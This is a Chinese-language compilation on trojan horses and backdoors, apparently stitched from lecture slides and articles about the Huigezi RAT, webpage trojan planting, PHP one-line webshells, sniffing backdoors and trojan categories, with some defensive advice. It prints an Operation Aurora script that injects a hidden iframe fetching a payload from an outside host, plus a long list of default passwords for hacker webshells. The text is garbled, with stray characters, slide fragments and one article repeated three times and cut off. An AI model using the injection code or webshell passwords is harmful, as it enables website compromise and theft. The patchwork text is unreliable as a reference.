木马后门攻击技术
木马技术概述
。
• 第五代木马反弹式木马。
木马实例演示 （example of a simple Trojan）
• 演示木马：灰鸽子 • 简介 灰鸽子，学名为win32.hack.huigezi，是国内一款著名后门程序 ； 比起前辈冰河、黑洞来，灰鸽子可以说是国内后门的集大成者 ，功能强大，有6万多种变种； 开发者是葛军，该木马的客户端和服务端都是采用Dephi编写 ； 服务端对客户端连接方式有多种，使得处于各种网络环境的用 户都可能中毒，包括局域网用户（通过代理上网）、公网用户 和ADSL拨号用户等； 使用了进程隐藏、线程注入、重复加壳等多种病毒技术，连续 三年被国内各大杀毒厂商评选为“年度十大病毒”。
• 命令广播：可以对自动上线主机进行命令广播，如关 机、重启、打开网页，筛选符合条件的机等，点一个 按钮就可以让N台机器同时关机或其它操作； • 消息广播：可以向对方主机发送消息；
木马植入方法（propagation mechanisms）
直接攻击
电子邮件
经过伪装的 木马被植入 目标机器
ቤተ መጻሕፍቲ ባይዱ
文件下载
浏览网页
例子(CVE2010-0249,Operation Aurora)
• • • • • • • • function Get(){ var Then = new Date() Then.setTime(Then.getTime() + 24*60*60*1000) var cookieString = new String(document.cookie) var cookieHeader = "Cookie1=" var beginPosition = cookieString.indexOf(cookieHeader) if (beginPosition != -1){ } else {document.cookie = "Cookie1=risb;expires="+ Then.toGMTString() • document.writeln("<iframe src=http://pagead2.googlesyndication.xx.xx/pagead/aur ora.htm width=0 height=0></iframe>"); • }}Get();
木马病毒
第二代，在技术上有了很大的进步，冰河是中国木马的典型代表之一。
第三代，主要改进在数据传递技术方面，出现了ICMP等类型的木马，利用畸形报文传递数据，增加了杀毒软 件查杀识别的难度。
第四代，在进程隐藏方面有了很大改动，采用了内核插入式的嵌入方式，利用远程插入线程技术，嵌入DLL 线程。或者挂接PSAPI，实现木马程序的隐藏，甚至在Windows NT/2000下，都达到了良好的隐藏效果。灰鸽子 和蜜蜂大盗是比较出名的DLL木马。
随着互联事业的发展，木马看中了电子商务，在一些络购物上挂一些木马程序，当用户点击时，很容易进入 用户系统，当用户使用络银行时。通过上窃取银行的密码，之后盗取用户财务，给计算机用户造成巨大的经济损 失。在一些特殊的领域，木马被用做攻击的手段，如政治、军事、金融、交通等众多领域，成为一个没有硝烟的 战场，利用木马侵入对方，获取相关信息或者进行破坏。
检查计算机用到什么样的端口，正常运用的是哪些端口，而哪些端口不是正常开启的；了解计算机端口状态， 哪些端口目前是连接的，特别注意这种开放是否是正常；查看当前的数据交换情况，重点注意哪些数据交换比较 频繁的，是否属于正常数据交换。关闭一些不必要的端口。
3、删除可疑程序
对于非系统的程序，如果不是必要的，完全可以删除，如果不能确定，可以利用一些查杀工具进行检测。
完整的木马程序一般由两部分组成：一个是服务器端．一个是控制器端。“中了木马”就是指安装了木马的 服务器端程序，若你的电脑被安装了服务器端程序，则拥有相应客户端的人就可以通过络控制你的电脑。为所欲 为。这时你电脑上的各种文件、程序，以及在你电脑上使用的账号、密码无安全可言了。
特洛伊木马
• 木马通道与远程控制
– 木马连接建立后，控制端端口和服务端木马端口之间将会出现一 条通道 – 控制端上的控制端程序可藉这条通道与服务端上的木马程序取得 联系，并通过木马程序对服务端进行远程控制，实现的远程控制 就如同本地操作
控制端 控制端 程序 1096 6267 服务端 木马 程序 窃取密码 文件操作 修改注册表 系统操作
32
网页挂马技术（二）
• js调用型网页挂马
– 利用js脚本文件调用的原理进行的网页木马隐蔽挂马技术
<script language=javascript
src=/gm.js></script>
/gm.js就是一个js脚本文件，通过它调用和执行木 马的服务端。这些js文件一般都可以通过工具生成，攻击者只需输入相关 的选项就可以了
5
木马入侵基本过程
控制端 ①配置木马 ②传播木马 ③运行木马 Internet 木马 服务端
④信息反馈
信息
⑤建立连接
⑥远程控制
6
netstat查看木马打开的端口
Proto ① TCP ② TCP Local Address 202.102.47.56 : 6267 202.102.47.56 : 6267 服务端 IP地址 木马 端口 Foreign Address 202.96.96.102 : 1096 0.0.0.0 控制端 IP地址 控制端 端口 State ESTABLISHED LISTENING 连接状态： ①连接已建立 ②等待连接
33
网页挂马技术（三）
• 图片伪装挂马
– 攻击者直接将网页木马加载到图片中
/test.htm中的木马代码植入到test.jpg图片文件中
php get一句话木马
php get一句话木马一句话木马是指由一句简短的PHP代码组成的恶意程序，它通常被用来攻击网站。
被攻击的网站会有一个被植入的含有一句话木马的PHP文件，这个文件可以让黑客远程控制网站，对网站进行各种操作，如上传、下载、删除文件，修改数据库等。
一句话木马的定义一句话木马（One Line Trojan Horse），也叫做一句话后门，是一种简单、直接的攻击方式。
一句话木马通常是指一行简短的PHP代码，可以在Web服务器上运行，实现代码执行的功能。
因为一句话代码很短小，所以便于黑客进行隐藏和传播。
然而，一旦黑客成功地在受害者网站上植入了一句话木马，那么他们就可以远程控制受害者网站，进行各种非法操作。
一句话木马具有以下特点：1. 隐藏性高。
一句话木马只需要一句短小的PHP代码即可实现功能，而且代码很容易隐藏起来，常常被植入在正常代码中，难以被发现。
2. 传播速度快。
一旦黑客成功地在受害者网站上植入了一句话木马，那么他们就可以利用蠕虫等恶意程序快速传播，感染更多的网站。
3. 控制权限高。
一旦黑客远程控制受害者网站，他们就可以在没有管理员权限的情况下，修改、删除、上传、下载网站文件，随意操作网站。
一句话木马攻击手段一句话木马的攻击手段大致可以分为以下几种：1. 利用文件上传漏洞。
黑客通过网站上的文件上传功能，上传一句话木马到网站服务器上。
2. 利用SQL注入漏洞。
黑客通过SQL注入漏洞，执行一句话木马的PHP代码。
3. 利用其他漏洞。
黑客通过其他漏洞，如CMS漏洞或者WEB服务器漏洞，实现植入一句话木马的目的。
一句话木马防范措施为了避免遭受一句话木马攻击，网站管理员应该采取以下几个防范措施：1. 对于文件上传功能，应该限制上传的文件类型和大小，并对上传的文件进行严格的过滤。
2. 对于SQL注入漏洞，应该对数据库进行良好的保护，并避免将数据库密码等敏感信息泄露出去。
3. 对于CMS漏洞或WEB服务器漏洞，应该及时安装相关的安全补丁，并对网站进行全面的安全检查。
windows系统的四大后门
window s系统的四大后门window s系统的四大后门后门是攻击者出入系统的通道，惟其如此它隐蔽而危险。
攻击者利用后门技术如入无人之境，这是用户的耻辱。
针对Wind ows系统的后门是比较多的，对于一般的后门也为大家所熟知。
下面笔者揭秘四个可能不为大家所了解但又非常危险的后门。
1、嗅探欺骗，最危险的后门这类后门是攻击者在控制了主机之后，并不创建新的帐户而是在主机上安装嗅探工具窃取管理员的密码。
由于此类后门，并不创建新的帐户而是通过嗅探获取的管理员密码登录系统，因此隐蔽性极高，如果管理员安全意识不高并缺少足够的安全技能的话是根本发现不了的。
(1).安装嗅探工具攻击者将相应的嗅探工具上传或者下载到服务器，然后安装即可。
需要说明的是这些嗅探工具一般体积很小并且功能单一，但是往往被做成驱动形式的，所以隐蔽性极高，很难发现也不宜清除。
(2).获取管理员密码嗅探工具对系统进行实施监控，当管理员登录服务器时其密码也就被窃取，然后嗅探工具会将管理员密码保存到一个txt文件中。
当攻击者下一次登录服务器后，就可以打开该txt文件获取管理员密码。
此后他登录服务器就再不用重新创建帐户而是直接用合法的管理员帐户登录服务器。
如果服务器是一个Web，攻击者就会将该txt文件放置到某个web目录下，然后在本地就可以浏览查看该文件了。
(3).防范措施嗅探后门攻击者以正常的管理员帐户登录系统，因此很难发现，不过任何入侵都会留下蛛丝马迹，我们可以启用组策略中的“审核策略”使其对用户的登录情况进行记录，然后通过事件查看器查看是否有可疑时间的非法登录。
不过，一个高明的攻击者他们会删除或者修改系统日志，因此最彻底的措施是清除安装在系统中的嗅探工具，然后更改管理员密码。
各类黑客大马默认密码后门
各类⿊客⼤马默认密码后门各类⿊客⼤马默认密码后门通过goole hack 语法搜索 incontent: xx⿊客留的后门⿊⽻基地免杀asp⼤马密码5201314Hacked By CHINA! 密码chinaAsp站长助⼿6.0 密码584521web综合安全评测 - Beta3 密码nohack未知数X 密码45189946baidu｝" 密码baidu路遥知马⼒密码123⿊客⽹站之家美化版密码chenxueThé、End.゛密码and QQ：913720787笑佛天下密码cnot西域⼩刚-站长助⼿-修改版本密码xxoxxXXXXX 密码rinima暗组超强功能修正去后门加强S-U提权版密码hkk007⿊客官⽅-长期提供⽹站⼊侵,密码破解数据库⼊侵密码chengnuoASPAdmin_A 密码"5556661221" '123456⽕狐ASP⽊马(超强版)" 密码wrsk⾬夜孤魂密码54321Dark Security Team 密码yuemo随风⾃由的泪密码jcksyes伟⼤的农民密码521mr.con asp⼩马密码*******JspX 密码4lert围剿专版密码yuemo或者5201314maek dream 密码hackerShell 密码xxxxx靈魂◆安全⼩组+" 密码10011C120105101银河安全⽹密码fclsharkASPXSpy 密码19880118Dark 密码376186027No Backdoor Webshell(⼑) 密码admin⿊勇⼠shell勇⼠版密码654321⼩武来了密码535039Evil sadness 密码adminF.S.T 联盟交流群内部版别外传噢密码000独⾃等待专⽤密码123windows 密码 123[D.s.T]会员专⽤WebShell 密码darkst我要进去' 密码jcksyesHacker'Rose 密码123456随风⾃由的泪密码jcksyesF.S.T 海盗内部版.!别外传噢。
木马的7种分类
木马的7种分类随着计算机技术的不断发展，木马病毒也不断地演化和发展，出现了各种不同类型的木马病毒，本文将介绍木马病毒的七种基本分类。
1.远程控制木马远程控制木马可以通过网络，远程控制受感染电脑的操作系统。
黑客可以远程操作受害者的计算机，以获取其个人信息、机密资料和密码等。
这种木马病毒非常隐蔽，很难被发现，因此危害性相对较大。
2.间谍木马间谍木马主要用于监控用户的行动，例如记录用户的浏览历史记录、键盘输入等。
这种木马病毒通常会将窃取到的数据发送给黑客来实现监控。
3.下载木马下载木马病毒具有下代码、过滤HTML代码等功能，可以从远程服务器下载感染电脑所需的程序或文件。
当这种木马病毒感染到用户的计算机后，可以在后台下载恶意程序或软件。
4.钓鱼木马钓鱼木马通常通过电子邮件、社交网络等方式来欺骗受害者，使其下载木马病毒。
这种木马病毒的危害性非常高，因为它可以窃取受害者的个人信息，例如社交网络的用户账户和密码、银行账户信息等。
5.后门木马后门木马是指在计算机上预留出的一些未经授权的入口，可以让黑客在未经授权的情况下远程访问受害者的计算机系统。
这种木马病毒可以在用户不知情的情况下进行远程控制，非常隐蔽，难以发现。
6.窃密木马窃密木马可以获取用户的账户和密码等个人信息，并将这些信息上传到黑客服务器。
这种木马病毒通常隐藏在诱骗受害者下载的文件、恶意链接等背后。
7.多功能木马多功能木马是一种综合了多种木马病毒功能的复合木马病毒。
它可以通过网络来获取用户的个人信息、远程访问受害者计算机、窃取银行账号密码等敏感信息。
这种木马病毒的危害性非常高，可以严重威胁用户的安全和隐私。
木马的7种分类
木马的7种分类木马是计算机中的一种恶意软件，它可以隐藏在一个看似合法的程序中，一旦被用户执行，就会在计算机中做出一些危害性的行为。
根据木马的不同特性和使用目的，可以将其分为以下七种：1.远程控制木马这种木马可以让攻击者完全控制被感染计算机的所有操作，实现对计算机的远程控制。
攻击者可以随意访问用户的私人数据、密码和敏感信息等，还可以通过该计算机进行攻击其他网络。
2.数据盗窃木马这种木马专门用于窃取用户的个人和机密信息，如银行账户、密码、信用卡号码等等。
攻击者可以通过这些信息获取受害者的经济利益，而受害者可能感觉不到任何异常。
3.捆绑木马这种木马可以躲藏在其他程序中传播，当其他程序被用户执行时，捆绑在其中的木马也就开始进行非法行为。
4.流氓软件木马流氓软件木马从表面上看起来是一个合法而且有用的程序，但实际上它会在用户的计算机上安装一些广告软件、弹窗软件等，甚至会捆绑其他恶意软件。
这种木马常常被用于非法盈利。
5.键盘记录木马这种木马可以记录用户敲击的所有按键记录，包括键盘上敲的每个字母和数字、密码和敏感信息等等。
这种木马通常用于监控人员或对某些特定目标进行针对性攻击。
6.后门木马后门木马是指攻击者在某些合法程序或操作系统中设置隐藏的入口或密码，以便随时再次进入该系统或软件。
这种木马比较难以发现，因为它不会对计算机进行任何不寻常的活动，但是它会为攻击者提供系统进入的途径，从而给安全带来潜在风险。
7.病毒木马病毒木马是经过病毒修改过的木马。
类似于一些常见的电子邮件爆炸病毒，是通过邮件系统并自己植入恶意代码来传播的，而传播过程往往和劝导接收者提供详细的私人信息和机密资料有关。
综上所述，攻击者使用木马的目的往往是为了获得代价更小、效果更高的网络攻击手段，而用户在使用电脑时应提高警惕，仔细检查并仅下载自己信任的软件来避免被感染。
木马的7种分类
木马的7种分类木马是一种恶意软件，它的主要特点是隐藏在它人无法察觉的地方，然后在用户无意之中运行起来。
它主要通过网络传播，进入用户的电脑中。
根据其传播途径和功能不同，木马可以分为多种类型。
下面就让我们来了解一下木马的七种分类。
1. 后门木马后门木马是一种通过开放的端口或者服务进入系统，在后台运行并监视用户活动的木马。
通常后门木马会修改系统的安全设置，使得木马的作者可以远程控制受感染的电脑。
这种木马一般会嗅探网络上的数据传输，并且可以修改、删除用户的文件。
这种木马一旦被安装，几乎无法被发现。
2. 间谍木马间谍木马是一种专门用于窃取用户敏感信息的木马。
这种木马通常会监控用户的键盘输入、网络通信以及系统活动。
一旦用户输入了账号、密码、信用卡信息等敏感信息，间谍木马就会将这些信息发送到木马作者设定的服务器上。
间谍木马对用户的隐私构成了巨大的威胁，因此企业和个人用户都需要加强对这类木马的防范。
3. 下载木马下载木马是一种专门用于下载其他恶意软件的木马。
一旦用户受感染，下载木马会自动下载其他的恶意软件，比如勒索软件、广告软件等。
这种木马通常会利用系统的漏洞或者用户的不慎安装，因此用户需要及时更新系统补丁，不要轻易下载不明来源的软件。
4. 逆向连接木马逆向连接木马是一种用于跳过网络安全防火墙，通过连接到指定的远程主机的木马。
这种木马一旦被安装进入用户的计算机，木马作者可以远程控制用户的计算机，执行各种恶意操作。
这种木马一般会隐藏在一些看似正常的软件中，用户需要注意不要轻易下载未经认证的软件。
5. 远程控制木马远程控制木马是一种通过远程控制服务器对用户电脑进行控制的木马。
这种木马可以对用户的计算机进行各种操作，包括文件读写、远程截图、远程监控等。
这种木马主要是利用一些网络安全漏洞或者社会工程手段，因此用户需要加强对社会工程攻击的防范。
6. 网页木马网页木马是一种隐藏在网页中的木马，用户在访问这些网页的时候就会被感染。
木马工作原理
木马工作原理
木马（Trojan horse）是一种恶意软件，它通常被欺骗性地伪
装成合法的程序，诱使用户下载或运行。
木马的工作原理可以分为以下几个步骤：
1. 传播和感染：木马通常通过电子邮件附件、恶意网站下载或软件漏洞等途径传播。
一旦用户下载或运行了木马程序，它会开始感染执行它的主机。
2. 隐蔽性：木马一般会采用隐蔽的方式存在于主机系统中，如隐藏在合法程序中、添加到系统文件夹或隐藏在系统进程中，以免被用户察觉。
3. 控制和远程操作：木马会与远程控制服务器建立连接，使攻击者获得对感染主机的控制权。
攻击者可以通过远程操作，执行各种恶意活动，如窃取敏感信息、操纵主机行为、安装其他恶意软件等。
4. 后门功能：木马还可能安装后门，即在感染主机上创建隐藏的入口，以便日后远程访问。
这使得攻击者可以随时进入被感染的主机，并进一步利用和操作该主机。
总体来说，木马通过欺骗用户获取访问权限，并在用户不知情的情况下运行恶意代码，以达到攻击者的目的。
用户要保护自己免受木马感染的最好方法是保持操作系统和应用程序的更新，并注意不要下载和运行来自不可信来源的文件或程序。
此外，使用防病毒软件和防火墙也可以帮助检测和阻止木马的感染。